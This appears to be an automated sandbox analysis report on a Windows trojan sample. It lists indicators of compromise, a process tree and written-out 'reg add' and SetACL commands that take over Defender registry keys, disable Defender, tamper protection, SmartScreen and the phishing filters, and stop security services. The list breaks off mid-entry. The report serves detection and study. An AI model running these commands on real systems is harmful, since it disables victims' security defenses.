d14ee261ed6c5dddc1900587c455991defe0f49c1da1172d7f8f1e163309d3e8

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Modifies Windows Defender notification settings 3 TTPs 4 IoCs

evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Modifies security service 2 TTPs 4 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start = "4"	reg.exe

Executes dropped EXE 57 IoCs

pid	Process
2704	SetACL64.exe
2720	SetACL64.exe
2812	SetACL64.exe
2804	SetACL64.exe
2744	SetACL64.exe
3004	SetACL64.exe
2644	SetACL64.exe
1196	SetACL64.exe
1292	PowerRun64.exe
2160	PowerRun64.exe
988	PowerRun64.exe
2460	PowerRun64.exe
1860	PowerRun64.exe
2540	PowerRun64.exe
2356	PowerRun64.exe
1536	PowerRun64.exe
1504	PowerRun64.exe
3008	PowerRun64.exe
2844	PowerRun64.exe
2876	PowerRun64.exe
2788	PowerRun64.exe
2192	PowerRun64.exe
2968	PowerRun64.exe
2932	PowerRun64.exe
1988	PowerRun64.exe
2144	PowerRun64.exe
1020	PowerRun64.exe
3028	PowerRun64.exe
2372	PowerRun64.exe
952	PowerRun64.exe
1652	PowerRun64.exe
1960	PowerRun64.exe
1208	PowerRun64.exe
1096	PowerRun64.exe
2512	PowerRun64.exe
2816	PowerRun64.exe
2160	PowerRun64.exe
2744	PowerRun64.exe
2612	PowerRun64.exe
2684	PowerRun64.exe
2096	PowerRun64.exe
2700	PowerRun64.exe
1008	PowerRun64.exe
2616	PowerRun64.exe
2064	PowerRun64.exe
1912	PowerRun64.exe
2236	PowerRun64.exe
2056	PowerRun64.exe
1344	PowerRun64.exe
352	PowerRun64.exe
2436	PowerRun64.exe
1576	PowerRun64.exe
2336	PowerRun64.exe
2548	PowerRun64.exe
2720	PowerRun64.exe
2860	PowerRun64.exe
2740	win_version_csharp.exe

Loads dropped DLL 28 IoCs

pid	Process
1640	3f58da2e1652dddab53995166f24993f.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
844	Process not Found
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
2380	cmd.exe
1640	3f58da2e1652dddab53995166f24993f.exe
1640	3f58da2e1652dddab53995166f24993f.exe

Windows security modification 2 TTPs 4 IoCs

evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Signature Updates	SetACL64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Signature Updates	SetACL64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\UX Configuration	SetACL64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\UX Configuration	SetACL64.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Logs\CBS\CbsPersist_20240712074711.cab	makecab.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe
2628	powershell.exe
1420	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 48 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1292	PowerRun64.exe
1292	PowerRun64.exe
988	PowerRun64.exe
988	PowerRun64.exe
2160	PowerRun64.exe
2160	PowerRun64.exe
1860	PowerRun64.exe
1860	PowerRun64.exe
2460	PowerRun64.exe
2460	PowerRun64.exe
2356	PowerRun64.exe
2356	PowerRun64.exe
1536	PowerRun64.exe
1536	PowerRun64.exe
2844	PowerRun64.exe
2844	PowerRun64.exe
2788	PowerRun64.exe
2788	PowerRun64.exe
2192	PowerRun64.exe
2192	PowerRun64.exe
2968	PowerRun64.exe
2968	PowerRun64.exe
2144	PowerRun64.exe
2144	PowerRun64.exe
1988	PowerRun64.exe
1988	PowerRun64.exe
3028	PowerRun64.exe
3028	PowerRun64.exe
2372	PowerRun64.exe
2372	PowerRun64.exe
1020	PowerRun64.exe
1020	PowerRun64.exe
1208	PowerRun64.exe
1208	PowerRun64.exe
1096	PowerRun64.exe
1096	PowerRun64.exe
2512	PowerRun64.exe
2512	PowerRun64.exe
2160	PowerRun64.exe
2160	PowerRun64.exe
2612	PowerRun64.exe
2612	PowerRun64.exe
2684	PowerRun64.exe
2684	PowerRun64.exe
2096	PowerRun64.exe
2096	PowerRun64.exe
2616	PowerRun64.exe
2616	PowerRun64.exe
1008	PowerRun64.exe
1008	PowerRun64.exe
1912	PowerRun64.exe
1912	PowerRun64.exe
2056	PowerRun64.exe
2056	PowerRun64.exe
2064	PowerRun64.exe
2064	PowerRun64.exe
1344	PowerRun64.exe
1344	PowerRun64.exe
1576	PowerRun64.exe
1576	PowerRun64.exe
2336	PowerRun64.exe
2336	PowerRun64.exe
2720	PowerRun64.exe
2720	PowerRun64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	2704	SetACL64.exe
Token: SeRestorePrivilege	2704	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2704	SetACL64.exe
Token: SeBackupPrivilege	2720	SetACL64.exe
Token: SeRestorePrivilege	2720	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2720	SetACL64.exe
Token: SeBackupPrivilege	2812	SetACL64.exe
Token: SeRestorePrivilege	2812	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2812	SetACL64.exe
Token: SeBackupPrivilege	2804	SetACL64.exe
Token: SeRestorePrivilege	2804	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2804	SetACL64.exe
Token: SeBackupPrivilege	2744	SetACL64.exe
Token: SeRestorePrivilege	2744	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2744	SetACL64.exe
Token: SeBackupPrivilege	3004	SetACL64.exe
Token: SeRestorePrivilege	3004	SetACL64.exe
Token: SeTakeOwnershipPrivilege	3004	SetACL64.exe
Token: SeBackupPrivilege	2644	SetACL64.exe
Token: SeRestorePrivilege	2644	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2644	SetACL64.exe
Token: SeBackupPrivilege	1196	SetACL64.exe
Token: SeRestorePrivilege	1196	SetACL64.exe
Token: SeTakeOwnershipPrivilege	1196	SetACL64.exe
Token: SeDebugPrivilege	1292	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1292	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1292	PowerRun64.exe
Token: 0	1292	PowerRun64.exe
Token: SeDebugPrivilege	2160	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2160	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2160	PowerRun64.exe
Token: SeDebugPrivilege	988	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	988	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	988	PowerRun64.exe
Token: 0	988	PowerRun64.exe
Token: SeDebugPrivilege	1860	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1860	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1860	PowerRun64.exe
Token: 0	1860	PowerRun64.exe
Token: SeDebugPrivilege	2460	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2460	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2460	PowerRun64.exe
Token: SeDebugPrivilege	2356	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2356	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2356	PowerRun64.exe
Token: SeDebugPrivilege	1536	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1536	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1536	PowerRun64.exe
Token: 0	1536	PowerRun64.exe
Token: SeDebugPrivilege	2844	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2844	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2844	PowerRun64.exe
Token: SeDebugPrivilege	2788	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2788	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2788	PowerRun64.exe
Token: 0	2788	PowerRun64.exe
Token: SeDebugPrivilege	2192	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2192	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2192	PowerRun64.exe
Token: SeDebugPrivilege	2968	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2968	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2968	PowerRun64.exe
Token: 0	2968	PowerRun64.exe
Token: SeDebugPrivilege	1988	PowerRun64.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 2380	1640	3f58da2e1652dddab53995166f24993f.exe	30
PID 1640 wrote to memory of 2380	1640	3f58da2e1652dddab53995166f24993f.exe	30
PID 1640 wrote to memory of 2380	1640	3f58da2e1652dddab53995166f24993f.exe	30
PID 1640 wrote to memory of 2380	1640	3f58da2e1652dddab53995166f24993f.exe	30
PID 2380 wrote to memory of 2704	2380	cmd.exe	32
PID 2380 wrote to memory of 2704	2380	cmd.exe	32
PID 2380 wrote to memory of 2704	2380	cmd.exe	32
PID 2380 wrote to memory of 2704	2380	cmd.exe	32
PID 2380 wrote to memory of 2720	2380	cmd.exe	193
PID 2380 wrote to memory of 2720	2380	cmd.exe	193
PID 2380 wrote to memory of 2720	2380	cmd.exe	193
PID 2380 wrote to memory of 2720	2380	cmd.exe	193
PID 2380 wrote to memory of 2812	2380	cmd.exe	34
PID 2380 wrote to memory of 2812	2380	cmd.exe	34
PID 2380 wrote to memory of 2812	2380	cmd.exe	34
PID 2380 wrote to memory of 2812	2380	cmd.exe	34
PID 2380 wrote to memory of 2804	2380	cmd.exe	35
PID 2380 wrote to memory of 2804	2380	cmd.exe	35
PID 2380 wrote to memory of 2804	2380	cmd.exe	35
PID 2380 wrote to memory of 2804	2380	cmd.exe	35
PID 2380 wrote to memory of 2744	2380	cmd.exe	36
PID 2380 wrote to memory of 2744	2380	cmd.exe	36
PID 2380 wrote to memory of 2744	2380	cmd.exe	36
PID 2380 wrote to memory of 2744	2380	cmd.exe	36
PID 2380 wrote to memory of 3004	2380	cmd.exe	37
PID 2380 wrote to memory of 3004	2380	cmd.exe	37
PID 2380 wrote to memory of 3004	2380	cmd.exe	37
PID 2380 wrote to memory of 3004	2380	cmd.exe	37
PID 2380 wrote to memory of 2644	2380	cmd.exe	38
PID 2380 wrote to memory of 2644	2380	cmd.exe	38
PID 2380 wrote to memory of 2644	2380	cmd.exe	38
PID 2380 wrote to memory of 2644	2380	cmd.exe	38
PID 2380 wrote to memory of 1196	2380	cmd.exe	39
PID 2380 wrote to memory of 1196	2380	cmd.exe	39
PID 2380 wrote to memory of 1196	2380	cmd.exe	39
PID 2380 wrote to memory of 1196	2380	cmd.exe	39
PID 2380 wrote to memory of 2656	2380	cmd.exe	40
PID 2380 wrote to memory of 2656	2380	cmd.exe	40
PID 2380 wrote to memory of 2656	2380	cmd.exe	40
PID 2380 wrote to memory of 2656	2380	cmd.exe	40
PID 2380 wrote to memory of 2724	2380	cmd.exe	41
PID 2380 wrote to memory of 2724	2380	cmd.exe	41
PID 2380 wrote to memory of 2724	2380	cmd.exe	41
PID 2380 wrote to memory of 2724	2380	cmd.exe	41
PID 2380 wrote to memory of 2608	2380	cmd.exe	42
PID 2380 wrote to memory of 2608	2380	cmd.exe	42
PID 2380 wrote to memory of 2608	2380	cmd.exe	42
PID 2380 wrote to memory of 2608	2380	cmd.exe	42
PID 2380 wrote to memory of 2604	2380	cmd.exe	43
PID 2380 wrote to memory of 2604	2380	cmd.exe	43
PID 2380 wrote to memory of 2604	2380	cmd.exe	43
PID 2380 wrote to memory of 2604	2380	cmd.exe	43
PID 2380 wrote to memory of 2624	2380	cmd.exe	44
PID 2380 wrote to memory of 2624	2380	cmd.exe	44
PID 2380 wrote to memory of 2624	2380	cmd.exe	44
PID 2380 wrote to memory of 2624	2380	cmd.exe	44
PID 2380 wrote to memory of 2640	2380	cmd.exe	45
PID 2380 wrote to memory of 2640	2380	cmd.exe	45
PID 2380 wrote to memory of 2640	2380	cmd.exe	45
PID 2380 wrote to memory of 2640	2380	cmd.exe	45
PID 2380 wrote to memory of 2668	2380	cmd.exe	46
PID 2380 wrote to memory of 2668	2380	cmd.exe	46
PID 2380 wrote to memory of 2668	2380	cmd.exe	46
PID 2380 wrote to memory of 2668	2380	cmd.exe	46

C:\Users\Admin\AppData\Local\Temp\3f58da2e1652dddab53995166f24993f.exe
"C:\Users\Admin\AppData\Local\Temp\3f58da2e1652dddab53995166f24993f.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\p64.bat
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2720
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2812
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2804
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of AdjustPrivilegeToken
    PID:2744
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of AdjustPrivilegeToken
    PID:3004
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of AdjustPrivilegeToken
    PID:2644
- - C:\Users\Admin\AppData\Local\Temp\nsdB848.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
    3⤵
    PID:2656
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
    3⤵
    PID:2724
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
    3⤵
    PID:2608
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
    3⤵
    PID:2604
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
    3⤵
    PID:2624
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
    3⤵
    PID:2640
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
    3⤵
    PID:2668
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
    3⤵
    PID:2684
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
    3⤵
    PID:2732
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
    3⤵
    PID:2080
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
    3⤵
    PID:1884
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    PID:2660
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
    3⤵
    PID:2192
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    PID:2184
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
    3⤵
    PID:2096
- - C:\Windows\SysWOW64\reg.exe
